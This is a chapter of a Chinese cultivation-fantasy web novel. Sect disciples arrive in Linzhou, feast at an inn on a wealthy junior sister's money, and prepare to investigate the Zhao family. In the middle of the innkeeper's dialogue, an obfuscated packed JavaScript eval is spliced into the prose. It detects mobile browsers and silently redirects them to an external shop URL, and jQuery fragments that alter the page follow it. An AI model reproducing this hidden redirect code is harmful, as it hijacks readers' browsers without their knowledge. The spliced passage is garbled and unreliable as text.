沧云城是区别南北境最大的州城,而城外的赤阳、萃阴两座山,是真正区别了南北地貌的两座大山。
一如萃阴山四季如夏草木疯涨,沧云城的夜景也如江南一般充满了温言暖语。
临州城是北境内最远的一处大州城,虽再远处还有诸多小城,可以临州城繁华盛大来言,皆不值一提。
不同于南境之地的温软,临州城的夜景充满了北方的豪迈的远阔。没有江南咿咿呀呀的小调,有的是锣鼓喧天的各色地域盛会,还有满大街飘香的北境美食,以及四方行走南来北往的食客,没有江南古色古香的园林小舍,有的是青砖大瓦的高屋长楼。
就连满城高挂的灯笼,比之江南,都要几倍甚至十倍之大,将整个临州城照的满城通亮,一路看过来,不管是景、物,还是食、色,其繁华程度均堪称一场醉美的饕餮盛宴。
“哇,这里有醉酿肘子!”
林铃从路过酒楼打开的窗户中瞥见两位食客的菜品,馋的口水都要流下来了,拉着晚月袖子念念不忘的道:“晚月姐姐,这里有醉酿肘子哎,我好久都没吃过了。”
说着,掰着手细细算了一遍,睁大了眼睛震惊道:“两个月!我已经两个月没吃过它了!”
为首的沈池因为林铃和晚月停下来,回头望了过来,将她小声的话听了个一清二楚。
程百行本来不认识什么醉酿肘子,可被林铃这么一馋,看着楼里食客吃的满嘴飘香,一下子也口水横流,对身前的沈池直直嗷了一嗓子,“大师兄,我们要吃醉酿肘子!”
由于声音太大,顿时引得周围百姓和食客一阵侧目,沈池走近几人,看着眼前盛大的酒楼,摸了摸腰间的荷包,笑道:“那就吃这醉酿肘子,只是不知,我这囊中银钱,够不够咱们美美吃上一顿!”
程百行蔫了神色,弱弱道:“那我,那我今天少吃一点好了。”
晚月噗嗤一声笑开,“我这还有当初入山时林家伯父伯母给的银子,足够程师兄你吃上七八回大肘子!”
能吃的东西对程百行而言根本难敌诱惑,更何况美食。一听晚月如此说,顿时开心的像个小孩,对着晚月就是一顿夸,“晚月师妹你对我真是太好了,咱们师父穷,这肘子钱我肯定还不起,往后你有任何差遣尽管跟我说,我绝不推辞!”
一顿话,说的晚月更乐了,却也引来了北舟相同的苦诉,“这是咱们师父穷吗?是咱们整个师门都很穷!若非二师兄力气大,咱们后山的那几块菜田怕是都只有早前那小小一块,这些年,吃过最好吃的,是山里的野鸡和野兔,还有林子里的野獐子!”
沈池红了面颊,“让两位师妹和陆兄弟见笑了,师门清贫,这些年我与几位师弟一直深居山中修行,不曾赚得许多金银财物。”
一旁的林铃听来听去,却原来是银子的事,顿时一脸灿笑,豪气道:“那三位师兄往后都不用愁了,有我在,保证你们顿顿吃肉!”
见程百行和北舟顿时满脸激动,林铃冲他们得意一笑,自豪道:“我可是巨富林家的独女,怎么会少了区区一点吃饭银子呢!”
程百行和北舟恍然回过神来,激动的就差扑到林铃身边把她当做财神爷供起来,唯沈池有些不好意思的开了口,“这……这不太好,若是……”
话未说完就被林铃打断,上前一把搭上沈池的肩膀,豪迈道:“大师兄这有什么不好的,我爹娘巴不得我多花他们一点银子呢,况且,单凭师父收我入门这件事,足够我爹娘为你们捐一个山头了!”
林铃继续说着,丝毫没注意到沈池逐渐惊愕的神情,“当时见师父清风亮节,我爹娘怕引起师父不悦,只字都没敢提,这下好了,我明日就去信告诉我爹娘,让他们多给咱们师门捐点银子,送一山头的牛羊!”
到最后一句,沈池已然听的愣了,晚月笑着上前解围,先将林铃搭在沈池肩膀的手给取了下来,“尽在胡说,捐点银子倒是可以,一山头的牛羊难不成师兄们都不要修炼了?”
林铃脑子里闪过师兄们满山追羊撵牛的场景,又想到众人还要用仙法将这么多的牛羊赶到观内,尤其里面还有自己的师父,那场面简直不要太离谱,这才猛地回了神。
发现自己刚刚居然露了本性,竟敢搭了大师兄的肩,且千林山林深丛密,若非师父师兄,常人根本难以寻至,一想到要师父师兄去赶一山的牛羊,林铃恨不得就地消失。
顿时远离沈池身侧,迅速缩在晚月身后试图遮掩自己存在,对着被她一番话惊麻了还未回过神的沈池弱弱道歉,“大师兄对不起,我不是有意的,你就原谅我这次,以后,我再也不敢胡言乱语了!”
见沈池还没反应,晚月轻唤了一声,“沈池师兄?”
沈池这才茫茫然回过神,看着一副真诚脸认错的林铃无奈轻笑两声,“林师妹不必如此,能有至亲至善父母,乃是人生幸事,何故惊慌。不过,我刚刚也确实被你家世所惊,非怪你之故。”
林铃满心的惊慌霎时化去,小心上前了一步,“那大师兄我刚刚,还不小心搭了你的肩膀!”
沈池愣了一下,笑道:“既是同门师妹,便自为你兄长,有何可怪!”
林铃看向晚月满眼都是沈池居然不责怪她的震惊,晚月朝她笑着点点头,确定沈池是真的不怪她。林铃得了肯定,顿时大呼一声,“那大师兄,后面所有的银子我都包了,先说好你不能跟我抢,今晚我们就先吃醉酿肘子喽!”
沈池无奈,只好笑着答应:“好~”
一旁的陆明璋同林铃玩笑道:“那陆某今日何其有幸,能得享林姑娘一福!”
林铃大声招呼大家进酒楼,回他:“你昨日奋不顾身救晚月姐姐,我就是请你吃一百顿饭都不为过的!”
而后,六人在林铃财大气粗下,一口气包了二楼一个临街的大包间,因为有程百行在,林铃一口气点了二十只酒酿肘子,各色酒菜又点了二十多道,在小二一脸的震惊下笑成一团。
“小二哥莫要震惊,我这位二师兄,一个人就能吃这十来只肘子,你只管安心上菜!”林铃大手一挥,乐坏了程百行。
在小二战战兢兢下,林铃掏出三张百两银票,“这是饭钱,若是不够,你再跟我说。”
小二一接到银票,面上的惊慌瞬间褪去,随即笑脸高声招呼一声,“好嘞,各位客官稍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507083|202275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等,好酒好菜马上就来!”
于是这一晚,众人酒足饭饱,可是满足。
离了酒楼,林铃已经喝得大醉,晚月扶着她摇摇晃晃往前走。旁边程百行亲眼见过晚月曾长睡不醒,加上一直赶路怕她劳累,上前道:“晚月师妹,我看林师妹醉的厉害,我来背她吧。”
沈池也道:“我刚刚跟店小二打听了,距离赵家还有六条街的距离,百行力气大,林师妹对他来说耗费不了多大力气,让他背着林师妹也能安心睡一觉。”
晚月看着林铃已醉的不成人形,笑道:“那麻烦程师兄了。”程百行立刻上前蹲下,身影还高出林铃半截,晚月将林铃扶至身侧,侧着将她托起,轻放在程百行背上,这才安心。
轻轻背着林铃起身,程百行格外开心,“今天吃了太多好吃的,正好背着林师妹消消食!”
晚月几步快走到前面的沈池身侧,“沈池师兄,明日我们就去赵家吗?”
沈池面上笑意敛去,“明日一早就去,此事宜早不宜迟,早些查清为好。林师妹今日大醉,待她明日醒来,由她出面最是稳妥。”
“好。”晚月也同意沈池想法,又道,“沈池师兄是想今日先独自守在赵家观察一晚?”
沈池一惊,心中打算被晚月一下子勘破,“此事是我个人打算,从未提起,晚月师妹如何知晓?”
晚月笑笑,两人一同往前走,“我们既入临州城,去赵家前住在哪里都行,方才师兄特意打听了赵家位置,又问了附近的客栈,我一猜就想到了。”
沈池轻叹一声,“师妹果然聪慧。此前林老爷信中所言,赵家如茵姑娘深夜常常外出不知所踪,白日方归,我想先在赵家外守一夜,探探底。”
本以为晚月还要与他多言几句,不曾想听完他此话之后,晚月只对他说了一句辛苦,让沈池颇有些意外。
“如此,今夜辛苦沈池师兄了。”
客栈里,沈池定了六间房后就此离去,晚月跟着程百行将林铃安置妥帖,思量再三,在他离开林铃房间时开口叫住了他,“程师兄。”
“嗯?”程百行回身,带着丝丝醉意问她,“晚月师妹有事?”
晚月思忖再三,直接开了口,“晚月想要程师兄一缕灵力。”此话一出,程百行的醉意瞬间消散,忙上前看前看后,关切道:“你受伤了?”
见其无碍,又瞬间巡视过整间屋子,眼睛瞪得如铜铃,“那是这家客栈有问题?我这就去找大师兄,让他……”
话未说完,被晚月笑着打断,“程师兄,我没受伤,这家客栈也没问题,只是昨日与那恶妖大战过后疲累的很,想借助师兄灵力去去乏。”
“原来如此。”程百行对晚月的话一点都没怀疑,直接调出一股浓郁灵力通通给了晚月,还不忘小心嘱咐她,“用完记得早点休息。”
晚月点头应好,程百行出门后散去的醉意再次袭来,回到房间倒头大睡,片刻就进了梦乡。
房间里,晚月将灵力小心收好,在林铃床边简单施了一个保护罩,这才出了屋子。
扣上房门后一转身,就看到了立在一侧,看样子等了她许久的陆明璋。